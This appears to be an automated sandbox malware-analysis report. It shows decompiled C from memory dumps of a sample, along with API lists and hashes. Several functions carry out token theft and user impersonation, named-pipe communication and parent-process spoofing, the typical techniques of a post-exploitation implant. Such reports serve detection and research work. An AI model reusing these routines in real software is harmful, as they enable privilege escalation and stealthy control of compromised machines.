																_t111 =  *((short*)(_t201 + 0x18)) == 0x10b;
																__eflags = _t111;
																return 0 | _t111;
															} else {
																_t186 = _t184 + 0xc;
																__eflags = _t186 - 0x4462f4;
																if(_t186 < 0x4462f4) {
																	do {
																		_t85 = _t186 + 8; // 0x0
																		_t202 =  *_t85 & 0x000000ff;
																		_t192 =  *_t186;
																		_t86 = _t186 + 4; // 0x0
																		_t122 = 0x400000 +  *_t86;
																		__eflags = _t202 - 0x10;
																		_t232 =  *((intOrPtr*)(_t192 + 0x400000));
																		if(_t202 == 0x10) {
																			_t217 =  *0x400000 & 0x0000ffff;
																			__eflags = _t217 & 0x00008000;
																			if((_t217 & 0x00008000) != 0) {
																				_t220 = (_t217 | 0xffff0000) - _t192 - 0x400000;
																				_t233 = _t232 + (_t217 | 0xffff0000) - _t192 - 0x400000;
																				__eflags = _t233;
																				_v36 = _t233;
																				goto L64;
																			} else {
																				goto L55;
																			}
																		} else {
																			__eflags = _t202 - 0x20;
																			if(_t202 == 0x20) {
																				_t209 =  *0x400000 - _t192 - 0x400000 + _t232;
																				__eflags = _t209;
																				_v36 = _t209;
																				goto L60;
																			} else {
																				__eflags = _t202 - 8;
																				if(_t202 != 8) {
																					_v240 = _t202;
																					 *_t252 = "  Unknown pseudo relocation bit size %d.\n";
																					_v36 = 0;
																					_t122 = E00401E50(_t186, _t192, _t202, _t220, _t232);
																				}
																				_t217 =  *_t122 & 0x000000ff;
																				__eflags = _t217 & 0x00000080;
																				if((_t217 & 0x00000080) == 0) {
																					L55:
																					_t220 = _t217 - _t192 - 0x400000;
																					__eflags = _t202 - 0x10;
																					_v36 = _t232 + _t217 - _t192 - 0x400000;
																					if(_t202 == 0x10) {
																						L64:
																						L1();
																					} else {
																						__eflags = _t202 - 0x20;
																						if(_t202 == 0x20) {
																							L60:
																							L1();
																						} else {
																							__eflags = _t202 - 8;
																							if(_t202 == 8) {
																								goto L58;
																							}
																						}
																					}
																				} else {
																					_t220 = (_t217 | 0xffffff00) - _t192 - 0x400000;
																					_v36 = _t232 + (_t217 | 0xffffff00) - _t192 - 0x400000;
																					L58:
																					L1();
																				}
																			}
																		}
																		_t186 = _t186 + 0xc;
																		__eflags = _t186 - 0x4462f4;
																	} while (_t186 < 0x4462f4);
																	L36:
																	_t190 =  *0x447058;
																	__eflags =  *0x447058;
																	if( *0x447058 > 0) {
																		_t185 = 0;
																		_t231 = 0;
																		_t216 = VirtualQuery;
																		do {
																			_t122 =  *0x447054 + _t185;
																			__eflags =  *_t122;
																			if( *_t122 == 0) {
																				goto L38;
																			} else {
																				_t196 =  &_v64;
																				_v236 = 0x1c;
																				_v240 =  &_v64;
																				 *_t252 =  *(_t122 + 4);
																				_t134 = VirtualQuery(??, ??, ??);
																				_t252 = _t252 - 0xc;
																				__eflags = _t134;
																				if(_t134 == 0) {
																					_t184 = _t185 +  *0x447054;
																					__eflags = _t184;
																					_v236 =  *(_t184 + 4);
																					 *_t252 = "  VirtualQuery failed for %d bytes at address %p";
																					_v240 =  *((intOrPtr*)( *(_t184 + 8) + 8));
																					_t138 = E00401E50(_t184, _t190,  &_v64, _t216, _t231);
																					goto L66;
																				} else {
																					_v232 =  &_v32;
																					_v236 =  *( *0x447054 + _t185);
																					_v240 = _v52;
																					 *_t252 = _v64;
																					_t122 = VirtualProtect(??, ??, ??, ??);
																					_t252 = _t252 - 0x10;
																					goto L38;
																				}
																			}
																			goto L71;
																			L38:
																			_t231 = _t231 + 1;
																			_t185 = _t185 + 0xc;
																			__eflags = _t231 -  *0x447058;
																		} while (_t231 <  *0x447058);
																	}
																}
																goto L27;
															}
														} else {
															_t184 = 0x446300;
															goto L44;
														}
													} else {
														goto L33;
													}
												}
											}
										}
									} else {
										L27:
										return _t122;
									}
								} else {
									_t162 = _v96;
									if(_t162 != 4) {
										__eflags = _t162 - 0x40;
										if(_t162 == 0x40) {
											goto L12;
										} else {
											_t225 =  &_v60;
											_v140 = _t225;
											_v144 = 0x40;
											_v148 = _v104;
											 *_t250 = _v116;
											VirtualProtect(??, ??, ??, ??);
											_t250 = _t250 - 0x10;
											_v144 = _t243;
											 *_t250 = _t182;
											_v148 = _v124;
											memcpy(??, ??, ??);
											_t164 = _v96;
											__eflags = _t164 - 0x40;
											if(_t164 == 0x40) {
												goto L13;
											} else {
												__eflags = _t164 - 4;
												if(_t164 == 4) {
													goto L13;
												} else {
													_v140 = _t225;
													_v144 = _v60;
													_v148 = _v104;
													 *_t250 = _v116;
													return VirtualProtect(??, ??, ??, ??);
												}
											}
										}
									} else {
										L12:
										_v144 = _t243;
										 *_t250 = _t182;
										_v148 = _v124;
										_t164 = memcpy(??, ??, ??);
										L13:
										return _t164;
									}
								}
							} else {
								goto L5;
							}
						}
						goto L71;
						L5:
						_t241 = _t241 + 1;
						_t179 = _t179 + 0xc;
						_t261 = _t241 - _t190;
					} while (_t241 != _t190);
					L6:
					 *_t250 = _t182;
					_t119 = E004024B0(_t261);
					_t262 = _t119;
					_t214 = _t119;
					if(_t119 == 0) {
						L24:
						_v148 = _t182;
						 *_t250 = "Address %p has no image-section";
						E00401E50(_t182, _t190, _t196, _t214, _t228);
						goto L25;
					} else {
						_t211 = _t228 + _t228 * 2 << 2;
						_t237 =  *0x447054 + _t211;
						_t237[2] = _t119;
						 *_t237 = 0;
						_v128 = _t211;
						_t237[1] = E00402590(_t262) +  *((intOrPtr*)(_t214 + 0xc));
						_t228 = VirtualQuery;
						_v148 =  &_v88;
						_v144 = 0x1c;
						 *_t250 =  *( *0x447054 + _v128 + 4);
						_t154 = VirtualQuery(??, ??, ??);
						_t250 = _t250 - 0xc;
						_t196 = _v128;
						if(_t154 == 0) {
							_v144 =  *((intOrPtr*)( *0x447054 + _t196 + 4));
							 *_t250 = "  VirtualQuery failed for %d bytes at address %p";
							_v148 =  *((intOrPtr*)(_t214 + 8));
							E00401E50(_t182, _t190, _t196, _t214, VirtualQuery);
							goto L24;
						} else {
							_t159 = _v68;
							if(_t159 != 4) {
								__eflags = _t159 - 0x40;
								if(_t159 == 0x40) {
									goto L9;
								} else {
									_t196 = _t196 +  *0x447054;
									_v144 = 0x40;
									_v148 = _v76;
									_v140 = _t196;
									 *_t250 = _v88;
									_t176 = VirtualProtect(??, ??, ??, ??);
									_t250 = _t250 - 0x10;
									__eflags = _t176;
									if(_t176 != 0) {
										goto L9;
									} else {
										_t177 = GetLastError();
										 *_t250 = "  VirtualProtect failed with code 0x%x";
										_v148 = _t177;
										E00401E50(_t182, _t190, _t196, _t214, VirtualQuery);
										goto L22;
									}
								}
							} else {
								L9:
								 *0x447058 =  *0x447058 + 1;
								goto L10;
							}
						}
					}
				}
				L71:
			}

0x00401e50
0x00401e50
0x00401e51
0x00401e59
0x00401e61
0x00401e65
0x00401e6d
0x00401e77
0x00401e7b
0x00401e84
0x00401e88
0x00401e94
0x00401e97
0x00401e9c
0x00401eb1
0x00401eb3
0x00401eb4
0x00401eb5
0x00401eb6
0x00401eb8
0x00401ebb
0x00401ec1
0x00401ec7
0x00402092
0x00402092
0x00000000
0x00401ecd
0x00401ecd
0x00401ed2
0x00401ed4
0x00401ed4
0x00401ed9
0x00000000
0x00401edb
0x00401edb
0x00401ee3
0x00401fc0
0x00401f76
0x00401f7a
0x00401f82
0x00401f86
0x00401f89
0x00401f8b
0x00401f90
0x004020c9
0x004020c9
0x004020cd
0x004020d5
0x004020dc
0x004020f0
0x004020f3
0x004020f4
0x004020f5
0x004020f6
0x004020f9
0x004020fe
0x00402100
0x00402110
0x0040212c
0x00402131
0x0040213b
0x00402144
0x0040214e
0x00402153
0x00402156
0x00000000
0x00402158
0x00402158
0x0040215b
0x00402160
0x00402250
0x00402250
0x00402252
0x00402254
0x00000000
0x0040225a
0x0040225a
0x0040225a
0x0040225d
0x0040225f
0x00000000
0x00000000
0x00000000
0x00000000
0x0040225f
0x00402166
0x00402166
0x0040216b
0x0040216d
0x00402180
0x00402180
0x00402186
0x00000000
0x0040218c
0x00402191
0x00402191
0x00402199
0x0040219d
0x0040219f
0x004021a2
0x004021a8
0x004021ad
0x004021ad
0x00000000
0x00402191
0x0040216f
0x0040216f
0x00402174
0x00402176
0x0040223c
0x00402241
0x00402243
0x00402265
0x00402265
0x00402265
0x00402268
0x0040226b
0x00402385
0x00402385
0x00402389
0x00402390
0x0040239b
0x0040239f
0x004023a0
0x004023a6
0x004023ab
0x004023ad
0x004023ad
0x004023ad
0x004023b0
0x004023b0
0x004023b3
0x004023b9
0x00000000
0x00000000
0x004023bd
0x004023c3
0x004023c3
0x004023c6
0x00402271
0x00402271
0x00402274
0x0040227a
0x00402280
0x00402280
0x00402280
0x00402289
0x0040228b
0x0040228b
0x0040228e
0x00402291
0x00402297
0x004022da
0x004022dd
0x004022e3
0x00402348
0x0040234e
0x0040234e
0x00402350
0x00000000
0x00000000
0x00000000
0x00000000
0x00402299
0x00402299
0x0040229c
0x0040231a
0x0040231a
0x0040231c
0x00000000
0x0040229e
0x0040229e
0x004022a1
0x004022a3
0x004022a7
0x004022ae
0x004022b5
0x004022b5
0x004022ba
0x004022bd
0x004022c3
0x004022e5
0x004022e7
0x004022ef
0x004022f2
0x004022f5
0x00402353
0x0040235b
0x004022f7
0x004022f7
0x004022fa
0x0040231f
0x00402327
0x004022fc
0x004022fc
0x004022ff
0x00000000
0x00000000
0x004022ff
0x004022fa
0x004022c5
0x004022cd
0x004022d5
0x00402301
0x00402309
0x00402309
0x004022c3
0x0040229c
0x0040232c
0x0040232f
0x0040232f
0x004021b5
0x004021b5
0x004021bb
0x004021bd
0x004021c3
0x004021c5
0x004021c7
0x004021e2
0x004021e7
0x004021eb
0x004021ed
0x00000000
0x004021ef
0x004021ef
0x004021f2
0x004021fa
0x00402201
0x00402204
0x00402206
0x00402209
0x0040220b
0x00402362
0x00402362
0x0040236b
0x00402375
0x0040237c
0x00402380
0x00000000
0x00402211
0x00402214
0x00402220
0x00402227
0x0040222e
0x00402231
0x00402237
0x00000000
0x00402237
0x0040220b
0x00000000
0x004021d0
0x004021d0
0x004021d3
0x004021d6
0x004021d6
0x004021e2
0x004021bd
0x00000000
0x0040227a
0x00402245
0x00402245
0x00000000
0x00402245
0x00000000
0x00000000
0x00000000
0x00402176
0x0040216d
0x00402160
0x00402102
0x00402102
0x00402109
0x00402109
0x00401f96
0x00401f96
0x00401f9d
0x00401fc8
0x00401fcb
0x00000000
0x00401fcd
0x00401fd1
0x00401fdb
0x00401fdf
0x00401fe7
0x00401fef
0x00401ff2
0x00401ff4
0x00401ffb
0x00401fff
0x00402002
0x00402006
0x0040200b
0x0040200f
0x00402012
0x00000000
0x00402014
0x00402014
0x00402017
0x00000000
0x00402019
0x0040201d
0x00402021
0x00402029
0x00402031
0x00402040
0x00402040
0x00402017
0x00402012
0x00401f9f
0x00401f9f
0x00401fa3
0x00401fa7
0x00401faa
0x00401fae
0x00401fb3
0x00401fba
0x00401fba
0x00401f9d
0x00000000
0x00000000
0x00000000
0x00401ee3
0x00000000
0x00401ee9
0x00401ee9
0x00401eec
0x00401eef
0x00401eef
0x00401ef3
0x00401ef3
0x00401ef6
0x00401efb
0x00401efd
0x00401eff
0x004020b9
0x004020b9
0x004020bd
0x004020c4
0x00000000
0x00401f05
0x00401f0e
0x00401f11
0x00401f13
0x00401f16
0x00401f1c
0x00401f2c
0x00401f33
0x00401f39
0x00401f42
0x00401f4e
0x00401f51
0x00401f53
0x00401f58
0x00401f5c
0x004020a2
0x004020a9
0x004020b0
0x004020b4
0x00000000
0x00401f62
0x00401f62
0x00401f69
0x00402041
0x00402044
0x00000000
0x0040204a
0x0040204e
0x00402054
0x0040205c
0x00402064
0x00402068
0x0040206b
0x00402071
0x00402074
0x00402076
0x00000000
0x0040207c
0x0040207c
0x00402082
0x00402089
0x0040208d
0x00000000
0x0040208d
0x00402076
0x00401f6f
0x00401f6f
0x00401f6f
0x00000000
0x00401f6f
0x00401f69
0x00401f5c
0x00401eff
0x00000000

APIs

fwrite.MSVCRT ref: 00401E7B
vfprintf.MSVCRT ref: 00401E97
abort.MSVCRT ref: 00401E9C
VirtualQuery.KERNEL32 ref: 00401F51
VirtualQuery.KERNEL32 ref: 00401F89
memcpy.MSVCRT ref: 00401FAE

Strings

@, xrefs: 00402054

Memory Dump Source

Source File: 00000000.00000002.507969338.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.507960494.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.507986102.0000000000403000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.508034111.0000000000446000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.508042179.0000000000448000.00000004.00020000.sdmp Download File

Similarity

API ID: QueryVirtual$abortfwritememcpyvfprintf
String ID: @
API String ID: 3828011698-2766056989
Opcode ID: b1b16544af79ae2a71e66f1edb29ed7b52c311741ea787d4b7384473bf1b1004
Instruction ID: b3d8bc7b42690cb24ed4f33397043226fb3128e977bbdf3165c1b9ba90c65d75
Opcode Fuzzy Hash: b1b16544af79ae2a71e66f1edb29ed7b52c311741ea787d4b7384473bf1b1004
Instruction Fuzzy Hash: 367107B59083019FD710EF69D58451EFBE0FB85344F11892EF988A73A1E778E844CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 0086AA35, Relevance: 19.6, APIs: 13, Instructions: 105
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E0086AA35(long __eax, intOrPtr _a4) {
				void* _v12;
				char _v528;
				void* __ebx;
				void* __edi;
				int _t16;
				int _t18;
				int _t19;
				int _t20;
				intOrPtr* _t23;
				void* _t26;
				void* _t33;
				long _t36;
				void* _t37;
				long _t38;
				void* _t40;

				_t13 = __eax;
				_v12 = _v12 & 0x00000000;
				if(_a4 == 4) {
					_push( *__eax);
					L008832F2();
					_t38 = __eax;
					_t40 = OpenProcess(0x400, 0, __eax);
					if(_t40 == 0) {
						_push(GetLastError());
						_push(_t38);
						_push(0x21);
						L3:
						_t26 = E00861EDD();
						L18:
						return _t26;
					}
					_t16 = OpenProcessToken(_t40, 0xf01ff,  &_v12);
					__eflags = _t16;
					if(_t16 == 0) {
						_push(GetLastError());
						_push(_t38);
						_push(0x24);
						goto L3;
					}
					E0086A848();
					_t33 = ImpersonateLoggedOnUser;
					_t18 = ImpersonateLoggedOnUser(_v12);
					__eflags = _t18;
					if(_t18 == 0) {
						_push(GetLastError());
						_push(_t38);
						_push(0x25);
						goto L3;
					}
					_t19 = DuplicateTokenEx(_v12, 0x2000000, 0, 3, 1, 0x897e90);
					__eflags = _t19;
					if(_t19 == 0) {
						_push(GetLastError());
						_push(_t38);
						_push(0x26);
						goto L3;
					}
					_t20 = ImpersonateLoggedOnUser( *0x897e90);
					__eflags = _t20;
					if(_t20 == 0) {
						_push(GetLastError());
						_push(_t38);
						_push(0x27);
						goto L3;
					}
					CloseHandle(_t40);
					__eflags = _v12;
					if(__eflags != 0) {
						CloseHandle(_v12);
					}
					_t13 = E0086A885(0x200, __eflags,  *0x897e90,  &_v528);
					__eflags = _t13;
					if(_t13 != 0) {
						_t23 =  &_v528;
						_t37 = _t23 + 1;
						do {
							_t36 =  *_t23;
							_t23 = _t23 + 1;
							__eflags = _t36;
						} while (_t36 != 0);
						_t24 = _t23 - _t37;
						__eflags = _t23 - _t37;
						_t26 = E008612CF(_t33,  &_v528, _t24, 0xf);
						goto L18;
					}
				}
				return _t13;
			}

0x0086aa35
0x0086aa3e
0x0086aa49
0x0086aa4f
0x0086aa51
0x0086aa56
0x0086aa66
0x0086aa6a
0x0086aa72
0x0086aa73
0x0086aa74
0x0086aa76
0x0086aa76
0x0086ab56
0x00000000
0x0086ab56
0x0086aa8a
0x0086aa90
0x0086aa92
0x0086aa9a
0x0086aa9b
0x0086aa9c
0x00000000
0x0086aa9c
0x0086aaa0
0x0086aaa8
0x0086aaae
0x0086aab0
0x0086aab2
0x0086aaba
0x0086aabb
0x0086aabc
0x00000000
0x0086aabc
0x0086aad3
0x0086aad9
0x0086aadb
0x0086aae3
0x0086aae4
0x0086aae5
0x00000000
0x0086aae5
0x0086aaef
0x0086aaf1
0x0086aaf3
0x0086aafb
0x0086aafc
0x0086aafd
0x00000000
0x0086aafd
0x0086ab0b
0x0086ab0d
0x0086ab11
0x0086ab16
0x0086ab16
0x0086ab2a
0x0086ab31
0x0086ab33
0x0086ab35
0x0086ab3b
0x0086ab3e
0x0086ab3e
0x0086ab40
0x0086ab41
0x0086ab41
0x0086ab45
0x0086ab45
0x0086ab51
0x00000000
0x0086ab51
0x0086ab33
0x0086ab5d

APIs

htonl.WS2_32 ref: 0086AA51
OpenProcess.KERNEL32(00000400,00000000,00000000,?,?,?), ref: 0086AA60
GetLastError.KERNEL32(?,?,?), ref: 0086AA6C

Part of subcall function 0086A848: CloseHandle.KERNEL32(?), ref: 0086A852
Part of subcall function 0086A848: RevertToSelf.ADVAPI32 ref: 0086A860

OpenProcessToken.ADVAPI32(00000000,000F01FF,00000004,?,?,?), ref: 0086AA8A
GetLastError.KERNEL32(?,?,?), ref: 0086AA94
ImpersonateLoggedOnUser.ADVAPI32(00000004,?,?,?), ref: 0086AAAE
GetLastError.KERNEL32(?,?,?), ref: 0086AAB4
DuplicateTokenEx.ADVAPI32(00000004,02000000,00000000,00000003,00000001,00897E90,?,?,?), ref: 0086AAD3
GetLastError.KERNEL32(?,?,?), ref: 0086AADD
ImpersonateLoggedOnUser.ADVAPI32(?,?,?), ref: 0086AAEF
GetLastError.KERNEL32(?,?,?), ref: 0086AAF5
CloseHandle.KERNEL32(00000000,?,?,?), ref: 0086AB0B
CloseHandle.KERNEL32(00000000,?,?,?), ref: 0086AB16

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: ErrorLast$CloseHandle$ImpersonateLoggedOpenProcessTokenUser$DuplicateRevertSelfhtonl
String ID:
API String ID: 3713328620-0
Opcode ID: c2efa8b2a31b24f8366108411833d02c41b760c3677d9c1fe172c2c376cf4fa1
Instruction ID: 50d2d2024bf5cf640d7f6875a1d381d5e0cc9de6df2dbc069d5676162e014507
Opcode Fuzzy Hash: c2efa8b2a31b24f8366108411833d02c41b760c3677d9c1fe172c2c376cf4fa1
Instruction Fuzzy Hash: B831AD35A44216BBEB256BE4DC4DF6B3BB9FB41B16F214062F601E61A1DA618D00CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00865F54, Relevance: 19.6, APIs: 13, Instructions: 94
pipesleepfileCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E00865F54(CHAR* _a4) {
				long _v12;
				char _v48;
				void* _t13;
				int _t15;
				void* _t22;
				void* _t28;
				signed int _t30;
				void* _t37;
				void* _t44;

				_t37 = GetTickCount() + 0x3a98;
				if(GetTickCount() >= _t37) {
					_t28 = _v12;
					goto L8;
				} else {
					while(1) {
						_t28 = CreateFileA(_a4, 0xc0000000, 0, 0, 3, 0x100000, 0);
						if(_t28 != 0xffffffff) {
							goto L13;
						}
						if(GetLastError() != 0xe7) {
							Sleep(0x3e8);
						} else {
							WaitNamedPipeA(_a4, 0x2710);
						}
						if(GetTickCount() < _t37) {
							continue;
						} else {
							L8:
							if(_t28 == 0xffffffff) {
								if(GetLastError() != 0x79) {
									_t22 = E00861E97(0x14, GetLastError());
								} else {
									_t22 = E00861EF5(4);
								}
								return _t22;
							}
						}
						goto L13;
					}
				}
				L13:
				_v12 = 2;
				__eflags = SetNamedPipeHandleState(_t28,  &_v12, 0, 0);
				if(__eflags == 0) {
					E00861E97(0x14, GetLastError());
					L16:
					DisconnectNamedPipe(_t28);
					return CloseHandle(_t28);
				}
				_t13 = E008661C6( &_v48, _t28);
				_t30 = 8;
				_push(0x1bd);
				memcpy(_t44 - 0x20, _t13, _t30 << 2);
				_t15 = E00865B9A(__eflags);
				__eflags = _t15;
				if(_t15 == 0) {
					goto L16;
				}
				return _t15;
			}

0x00865f67
0x00865f71
0x00865fc4
0x00000000
0x00000000
0x00865f73
0x00865f8d
0x00865f92
0x00000000
0x00000000
0x00865f9f
0x00865fb6
0x00865fa1
0x00865fa9
0x00865fa9
0x00865fc0
0x00000000
0x00865fc2
0x00865fc7
0x00865fca
0x00865fd7
0x00865fe7
0x00865fd9
0x00865fdb
0x00865fdb
0x00000000
0x00865fed
0x00865fca
0x00000000
0x00865fc0
0x00865f73
0x00865ff0
0x00865ff9
0x00866006
0x00866008
0x00866013
0x00866043
0x00866044
0x00000000
0x0086604b
0x00866021
0x0086602b
0x00866030
0x00866035
0x00866037
0x0086603f
0x00866041
0x00000000
0x00000000
0x00866055

APIs

GetTickCount.KERNEL32 ref: 00865F63
GetTickCount.KERNEL32 ref: 00865F6D
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000003,00100000,00000000,?,?,?,?,00000001,?,?,00000000), ref: 00865F87
GetLastError.KERNEL32(?,?,?,?,00000001,?,?,00000000,?,?,00000000,?,?,?,?), ref: 00865F94
WaitNamedPipeA.KERNEL32 ref: 00865FA9
Sleep.KERNEL32(000003E8,?,?,?,?,00000001,?,?,00000000,?,?,00000000,?,?,?,?), ref: 00865FB6
GetTickCount.KERNEL32 ref: 00865FBC
GetLastError.KERNEL32(?,?,?,?,00000001,?,?,00000000,?,?,00000000,?,?,?,?), ref: 00865FD2
GetLastError.KERNEL32(?,?,?,?,00000001,?,?,00000000,?,?,00000000,?,?,?,?), ref: 00865FE2
SetNamedPipeHandleState.KERNEL32(?,?,00000000,00000000,?,?,?,?,00000001,?,?,00000000,?,?,00000000), ref: 00866000
GetLastError.KERNEL32(?,?,?,?,00000001,?,?,00000000,?,?,00000000,?,?), ref: 0086600A
DisconnectNamedPipe.KERNEL32(?), ref: 00866044
CloseHandle.KERNEL32(?), ref: 0086604B

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: ErrorLast$CountNamedPipeTick$Handle$CloseCreateDisconnectFileSleepStateWait
String ID:
API String ID: 832653698-0
Opcode ID: 43a363ba623b67972929639440fe34caea7554ec3d7fd16d120d5acf6adadde5
Instruction ID: 67faaeeeb7c7c952258dbdafda8a8a363c4c9383d7361b42833cb25240216364
Opcode Fuzzy Hash: 43a363ba623b67972929639440fe34caea7554ec3d7fd16d120d5acf6adadde5
Instruction Fuzzy Hash: 3121A931508609BBEB112BB8AC8DB6E7B6CFB05720F314421FA11E55D1EF61DD404766

Uniqueness

Uniqueness Score: -1.00%

Function 00862DA1, Relevance: 16.6, APIs: 11, Instructions: 103
sleepfilepipeCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00862DA1(void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				void* _v8;
				void _v12;
				signed int _v16;
				long _v20;
				intOrPtr _v24;
				char _v40;
				char _v172;
				void* __ebx;
				void* __esi;
				int _t46;
				long _t48;
				int _t51;
				void* _t58;
				void* _t66;
				signed int _t67;
				signed int _t68;
				void* _t73;

				_t73 = __eflags;
				_v16 = _v16 & 0x00000000;
				_t66 = GetTickCount() + 0xea60;
				E008667D0( &_v40, _a4, _a8);
				E008668FB( &_v172, _t73,  &_v40, 0x80);
				_v24 = E008668A9( &_v40);
				_v12 = E0086689E( &_v40);
				_t58 = 0;
				while(1) {
					_push( &_v172);
					if(E00865983( &_v8, _t66) != 0) {
						break;
					}
					if(GetLastError() == 0x35 || GetTickCount() >= _t66) {
						L5:
						return E00861EC5(0x32,  &_v172, GetLastError());
					} else {
						Sleep(0x3e8);
						_t58 = _t58 + 1;
						if(_t58 < 0xa) {
							continue;
						}
						goto L5;
					}
				}
				WriteFile(_v8,  &_v12, 4,  &_v20, 0);
				__eflags = _v12;
				if(_v12 <= 0) {
					L13:
					FlushFileBuffers(_v8);
					DisconnectNamedPipe(_v8);
					_t46 = CloseHandle(_v8);
					Sleep(0x3e8);
					return _t46;
				}
				do {
					_t67 = _v16;
					_t48 = _v12 - _t67;
					__eflags = _t48 - 0x2000;
					if(_t48 > 0x2000) {
						_t48 = 0x2000;
					}
					_t51 = WriteFile(_v8, _v24 + _t67, _t48,  &_v20, 0);
					__eflags = _t51;
					if(_t51 == 0) {
						goto L13;
					}
					_t68 = _t67 + _v20;
					_v16 = _t68;
					__eflags = _t68 - _v12;
				} while (_t68 < _v12);
				goto L13;
			}

0x00862da1
0x00862daa
0x00862dc5
0x00862dcb
0x00862de2
0x00862def
0x00862dfe
0x00862e01
0x00862e03
0x00862e09
0x00862e15
0x00000000
0x00000000
0x00862e20
0x00862e39
0x00000000
0x00862e28
0x00862e2d
0x00862e33
0x00862e37
0x00000000
0x00000000
0x00000000
0x00862e37
0x00862e20
0x00862e6b
0x00862e6d
0x00862e71
0x00862ea7
0x00862eaa
0x00862eb3
0x00862ebc
0x00862ec7
0x00000000
0x00862ec7
0x00862e78
0x00862e7b
0x00862e7e
0x00862e80
0x00862e82
0x00862e84
0x00862e84
0x00862e96
0x00862e98
0x00862e9a
0x00000000
0x00000000
0x00862e9c
0x00862e9f
0x00862ea2
0x00862ea2
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00862DB7
GetLastError.KERNEL32(?,?,?,?,?,00000001,?,?,?,?,?,?,?,00868088,?,?), ref: 00862E17
GetTickCount.KERNEL32 ref: 00862E22
Sleep.KERNEL32(000003E8,?,?,?,?,?,00000001,?,?,?,?,?,?,?,00868088), ref: 00862E2D
GetLastError.KERNEL32(?,?,?,?,?,00000001,?,?,?,?,?,?,?,00868088,?,?), ref: 00862E39
WriteFile.KERNEL32(?,?,00000004,?,00000000,?,?,?,?,?,00000001), ref: 00862E6B
WriteFile.KERNEL32(?,00000000,00000000,?,00000000,?,?,?,?,?,00000001), ref: 00862E96
FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,?,?,?,?,00868088), ref: 00862EAA
DisconnectNamedPipe.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,?,?,?,?,00868088), ref: 00862EB3
CloseHandle.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,?,?,?,?,00868088), ref: 00862EBC
Sleep.KERNEL32(000003E8,?,?,?,?,?,00000001,?,?,?,?,?,?,?,00868088), ref: 00862EC7

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: File$CountErrorLastSleepTickWrite$BuffersCloseDisconnectFlushHandleNamedPipe
String ID:
API String ID: 1326360348-0
Opcode ID: 95f75a79599f0f36cc9b5aca8bb14e25e643e208aecd37dfb38a36a6528edfaa
Instruction ID: 990a95477d661d47b8b51b0d8d47b738d70d9ef40517a0a80c3a22f5c3cecec2
Opcode Fuzzy Hash: 95f75a79599f0f36cc9b5aca8bb14e25e643e208aecd37dfb38a36a6528edfaa
Instruction Fuzzy Hash: 3B312A76900119EBDB01EFE8DC89AEEB778FB04350F2540B1E905E6151EB32AE55CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 008676B5, Relevance: 16.6, APIs: 11, Instructions: 101
threadCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E008676B5(void* __ecx, void* _a4, long _a8, intOrPtr _a12, intOrPtr _a16) {
				void* _v8;
				void* _t16;
				void* _t17;
				HANDLE* _t18;
				void* _t20;
				HANDLE* _t34;
				intOrPtr _t37;
				void* _t38;
				void* _t42;
				void* _t44;

				_t44 = OpenProcess(0x1fffff, 0, _a8);
				_v8 = _t44;
				if(_t44 != 0) {
					_t16 = _a4;
					 *_t16 = _t44;
					__imp__UpdateProcThreadAttribute(_a12, 0, 0x20000, _t16, 4, 0, 0);
					__eflags = _t16;
					if(_t16 != 0) {
						_t37 = _a16;
						_t34 = _t37 + 0x3c;
						_t17 =  *_t34;
						__eflags = _t17;
						if(__eflags == 0) {
							L10:
							if(__eflags != 0) {
								DuplicateHandle(GetCurrentProcess(), _t17, _v8, _t34, 0, 1, 3);
								_t37 = _a16;
							}
							_t18 = _t37 + 0x40;
							_t38 =  *_t18;
							__eflags = _t38;
							if(_t38 != 0) {
								DuplicateHandle(GetCurrentProcess(), _t38, _v8, _t18, 0, 1, 3);
							}
							L14:
							_t20 = 1;
							__eflags = 1;
							L15:
							return _t20;
						}
						_t42 =  *(_t37 + 0x40);
						__eflags = _t42;
						if(_t42 == 0) {
							L9:
							__eflags = _t17;
							goto L10;
						}
						__eflags = _t17 - _t42;
						if(_t17 != _t42) {
							goto L9;
						}
						DuplicateHandle(GetCurrentProcess(), _t17, _t44, _t34, 0, 1, 3);
						 *(_a16 + 0x40) =  *_t34;
						goto L14;
					}
					E00861E97(0x47, GetLastError());
					CloseHandle(_t44);
					L2:
					_t20 = 0;
					goto L15;
				}
				E00861EDD(0x22, _a8, GetLastError());
				goto L2;
			}

0x008676cc
0x008676ce
0x008676d3
0x008676f0
0x00867701
0x00867703
0x00867709
0x0086770b
0x00867726
0x0086772a
0x0086772d
0x0086772f
0x00867731
0x0086775f
0x0086776b
0x0086777b
0x0086777d
0x0086777d
0x00867780
0x00867783
0x00867785
0x00867787
0x00867797
0x00867797
0x00867799
0x0086779b
0x0086779b
0x0086779d
0x008677a0
0x008677a0
0x00867733
0x00867736
0x00867738
0x0086775d
0x0086775d
0x00000000
0x0086775d
0x0086773a
0x0086773c
0x00000000
0x00000000
0x0086774d
0x00867758
0x00000000
0x00867758
0x00867716
0x0086771e
0x008676e9
0x008676e9
0x00000000
0x008676e9
0x008676e1
0x00000000

APIs

OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 008676C6
GetLastError.KERNEL32 ref: 008676D5
UpdateProcThreadAttribute.KERNEL32(?,00000000,00020000,?,00000004,00000000,00000000), ref: 00867703
